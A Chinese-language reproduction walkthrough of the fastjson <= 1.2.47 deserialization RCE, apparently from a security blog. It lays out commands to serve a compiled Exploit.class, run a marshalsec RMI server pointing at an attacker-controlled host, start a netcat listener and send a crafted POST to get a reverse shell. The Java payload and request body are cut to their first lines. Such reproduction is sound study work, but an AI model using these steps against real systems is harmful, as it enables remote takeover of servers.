背景
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。其目前已经被广泛应用在各种场景中,包括cache存储、RPC通讯、MQ通讯、网络协议通讯、Android客户端、Ajax服务器处理程序等等。
而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响版本
- fastjson <= 1.2.47
复现过程
1.新建Exploit.java文件(名字随便起),写入如下代码
1 | import java.io.BufferedReader; |
注意反弹shell的地址及端口
2.编译生成Exploit.class
javac Exploit.java
3.启动简单的http服务(和生成的Exploit.class在同一目录下)
python3 -m http.server 80

4.借助marshalsec项目,启动一个RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#Exploit" 8080

5.nc 开启监听
nv -lvp 53
6.使用bp发送如下payload
1 | POST / HTTP/1.1 |
注意rmi地址

7.回弹shell

fastjson检查脚本
http://github.com/mrknow001/fastjson_rec_exploit
参考链接
http://www.cnblogs.com/lyh1/p/nul1.html
http://www.freesion.com/article/38861395538/
http://www.jianshu.com/p/e22c9dd4ed6d
http://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce